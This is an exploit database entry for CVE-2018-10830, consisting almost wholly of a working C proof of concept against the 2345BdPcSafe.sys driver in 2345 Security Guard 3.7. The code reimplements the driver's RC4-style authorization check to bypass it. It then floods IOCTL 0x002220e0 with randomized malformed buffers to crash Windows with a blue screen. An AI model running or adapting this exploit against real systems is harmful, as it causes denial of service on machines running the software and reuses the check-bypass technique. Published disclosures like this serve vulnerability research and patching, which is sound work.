2345 Security Guard 3.7 - 2345BdPcSafe.sys Denial of Service Exploit

2018-05-12T00:00:00
ID 1337DAY-ID-30339
Type zdt
Reporter anhkgg
Modified 2018-05-12T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            # Exploit Title: [BSOD  by IOCTL 0x002220e0 in 2345BdPcSafe.sys  of 2345 Security Guard 3.7]
# Exploit Author: [anhkgg]
# Vendor Homepage: [http://safe.2345.cc/]
# Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
# Version: [v3.7] (REQUIRED)
# Tested on: [Windows X64]
# CVE : [CVE-2018- 10830]
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
 
struct NETFW_IOCTL_ADD_PID
{
    DWORD pid;
    char seed[0x14];//4 + 14
};//0x18
 
#pragma pack(push)
#pragma pack(1)
struct NETFW_IOCTL_SET_PID
{
    BYTE set_state;//
    WORD buf_len;//1
    DWORD pid;//3
    char buf[0x64];//7
};//6B
#pragma pack(pop)
 
int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
{
    BYTE *a1_; // eax
 
    a1_ = a1;
    *a1_ ^= *a2;
    *a2 ^= *a1;
    *a1_ ^= *a2;
    return (int)a1_;
}
 
int __stdcall sub_12A80(char *a1, int len, char *a3)
{
    int result;
    unsigned __int8 v4;
    __int16 i;
    __int16 j;
    unsigned __int8 k;
 
    for (i = 0; i < 256; ++i)
        a3[i] = i;
    a3[256] = 0;
    a3[257] = 0;
    k = 0;
    v4 = 0;
    result = 0;
    for (j = 0; j < 256; ++j)
    {
        v4 += a3[j] + a1[k];
        f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
        result = (k + 1) / len;
        k = (k + 1) % len;
    }
    return result;
}
 
char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
{
    char *v3; // esi
    unsigned int v4; // ebx
    unsigned __int8 result; // al
    int v6; // edi
    char *v7; // ST18_4
    int v8; // [esp+14h] [ebp-8h]
    int v9; // [esp+18h] [ebp-4h]
    unsigned __int8 v10; // [esp+2Fh] [ebp+13h]
 
    v3 = a3;
    v4 = a3[256];
    result = a3[257];
    v9 = 0;
    if (len > 0)
    {
        v6 = (unsigned __int8)v4;
        v8 = 0;
        while (1)
        {
            v4 = (v6 + 1) & 0x800000FF;
            v6 = (unsigned __int8)v4;
            v10 = v3[(unsigned __int8)v4] + result;
            v7 = &v3[v10];
            f_XOR__12A30((BYTE*)&v3[(unsigned __int8)v4], (BYTE*)v7);
            a1[v8] ^= v3[(unsigned __int8)(v3[(unsigned __int8)v4] + *v7)];
            v8 = (signed __int16)++v9;
            if ((signed __int16)v9 >= len)
                break;
            result = v10;
        }
        result = v10;
    }
    v3[256] = v4;
    v3[257] = result;
    return (char *)result;
}
 
void calc_seed(char* seed, char* dst)
{
    char Source1[26] = { 0 };
    char a3[300] = { 0 };
 
    Source1[0] = 8;
    Source1[1] = 14;
    Source1[2] = 8;
    Source1[3] = 10;
    Source1[4] = 2;
    Source1[5] = 3;
    Source1[6] = 29;
    Source1[7] = 23;
    Source1[8] = 13;
    Source1[9] = 3;
    Source1[10] = 15;
    Source1[11] = 22;
    Source1[12] = 15;
    Source1[13] = 7;
    Source1[14] = 91;
    Source1[15] = 4;
    Source1[16] = 18;
    Source1[17] = 26;
    Source1[18] = 26;
    Source1[19] = 3;
    Source1[20] = 4;
    Source1[21] = 1;
    Source1[22] = 15;
    Source1[23] = 25;
    Source1[24] = 10;
    Source1[25] = 13;
 
    sub_12A80(seed, 0x14, a3);       
    sub_12B60(Source1, 0x1A, a3);
    memcpy(dst, Source1, 26);
}
 
BOOL BypassChk(HANDLE h)
{
    DWORD BytesReturned = 0;
 
    DWORD ctlcode = 0x222090;
    NETFW_IOCTL_ADD_PID add_pid = { 0 };
    add_pid.pid = GetCurrentProcessId();
 
    if (!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
        printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
        return FALSE;
    }
 
    ctlcode = 0x222094;
    NETFW_IOCTL_SET_PID set_pid = { 0 };
    set_pid.pid = GetCurrentProcessId();
    set_pid.set_state = 1;
 
    calc_seed(add_pid.seed, set_pid.buf);
    set_pid.buf_len = 26;
 
    if (!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
        printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
        return FALSE;
    }
 
    return TRUE;
}
 
HANDLE OpenDevice(char* path)
{
    return CreateFileA(path,
        GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
 
CHAR asciiString10[0x10];
CHAR asciiString100[0x100];
CHAR asciiString1000[0x1000];
WCHAR unicodeString10[0x10];
WCHAR unicodeString100[0x100];
WCHAR unicodeString1000[0x1000];
DWORD tableDwords[0x100];
 
DWORD FuzzConstants[] = {
    0x00000000, 0x00000001, 0x00000004, 0xFFFFFFFF,
    0x00001000, 0xFFFF0000, 0xFFFFFFFE, 0xFFFFFFF0,
    0xFFFFFFFC, 0x70000000, 0x7FFEFFFF, 0x7FFFFFFF,
    0x80000000,
    (DWORD)asciiString10,
    (DWORD)asciiString100,
    (DWORD)asciiString1000,
    (DWORD)unicodeString10,
    (DWORD)unicodeString100,
    (DWORD)unicodeString1000,
    (DWORD)tableDwords
};
 
/* Period parameters */
#define N 624
#define M 397
#define MATRIX_A 0x9908b0dfUL   /* constant vector a */
#define UPPER_MASK 0x80000000UL /* most significant w-r bits */
#define LOWER_MASK 0x7fffffffUL /* least significant r bits */
 
static unsigned long mt[N]; /* the array for the state vector  */
static int mti = N + 1; /* mti==N+1 means mt[N] is not initialized */
 
/* initializes mt[N] with a seed */
void init_genrand(unsigned long s)
{
    mt[0] = s & 0xffffffffUL;
    for (mti = 1; mti < N; mti++) {
        mt[mti] =
            (1812433253UL * (mt[mti - 1] ^ (mt[mti - 1] >> 30)) + mti);
        /* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */
        /* In the previous versions, MSBs of the seed affect   */
        /* only MSBs of the array mt[].                        */
        /* 2002/01/09 modified by Makoto Matsumoto             */
        mt[mti] &= 0xffffffffUL;
        /* for >32 bit machines */
    }
}
 
/* generates a random number on [0,0xffffffff]-interval */
unsigned long genrand_int32(void)
{
    unsigned long y;
    static unsigned long mag01[2] = { 0x0UL, MATRIX_A };
    /* mag01[x] = x * MATRIX_A  for x=0,1 */
 
    if (mti >= N) { /* generate N words at one time */
        int kk;
 
        if (mti == N + 1)   /* if init_genrand() has not been called, */
            init_genrand(5489UL); /* a default initial seed is used */
 
        for (kk = 0; kk < N - M; kk++) {
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
            mt[kk] = mt[kk + M] ^ (y >> 1) ^ mag01[y & 0x1UL];
        }
        for (; kk < N - 1; kk++) {
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
            mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
        }
        y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK);
        mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ mag01[y & 0x1UL];
 
        mti = 0;
    }
 
    y = mt[mti++];
 
    /* Tempering */
    y ^= (y >> 11);
    y ^= (y << 7) & 0x9d2c5680UL;
    y ^= (y << 15) & 0xefc60000UL;
    y ^= (y >> 18);
 
    return y;
}
 
unsigned long getrand(unsigned long min, unsigned long max)
{
    return (genrand_int32() % (max - min + 1)) + min;
}
 
//3.7.0.2860
int poc_2345NetFirewall()
{
     
    DWORD BytesReturned = 0;
 
    HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
    if (h == INVALID_HANDLE_VALUE) {
        printf("[-] Open device error: %d\n", GetLastError());
        return 1;
    }
 
    if (!BypassChk(h)) {
        printf("[-] error!");
        return 1;
    }
 
    DWORD ctlcode = 0x002220e0;
    BYTE  bufInput[0x10000] = { 0 };
    BYTE  bufOutput[0x10000] = { 0 };
 
    srand(time(NULL));
    int count = 0;
    while (count++ < 1000) {
        // Choose a random length for the buffer
        size_t randomLength = getrand(4, 0x400);
 
        for (int i = 0; i < randomLength; i = i + 4) {
            int fuzzData = FuzzConstants[getrand(0, (sizeof(FuzzConstants) / 4) - 1)];
 
            // Choose a random element into FuzzConstants
            bufInput[i] = fuzzData & 0x000000ff;
            bufInput[i + 1] = (fuzzData & 0x0000ff00) >> 8;
            bufInput[i + 2] = (fuzzData & 0x00ff0000) >> 16;
            bufInput[i + 3] = (fuzzData & 0xff000000) >> 24;
        }
 
        DeviceIoControl(h,
            ctlcode,
            bufInput,
            randomLength,
            bufOutput,
            0,
            &BytesReturned,
            NULL);
 
        Sleep(10);
    }
 
    return 0;
}
 
int main()
{
    poc_2345NetFirewall();
 
    printf("poc failed!\n");
 
    getchar();
         
    return 0;
}

#  0day.today [2018-05-12]  #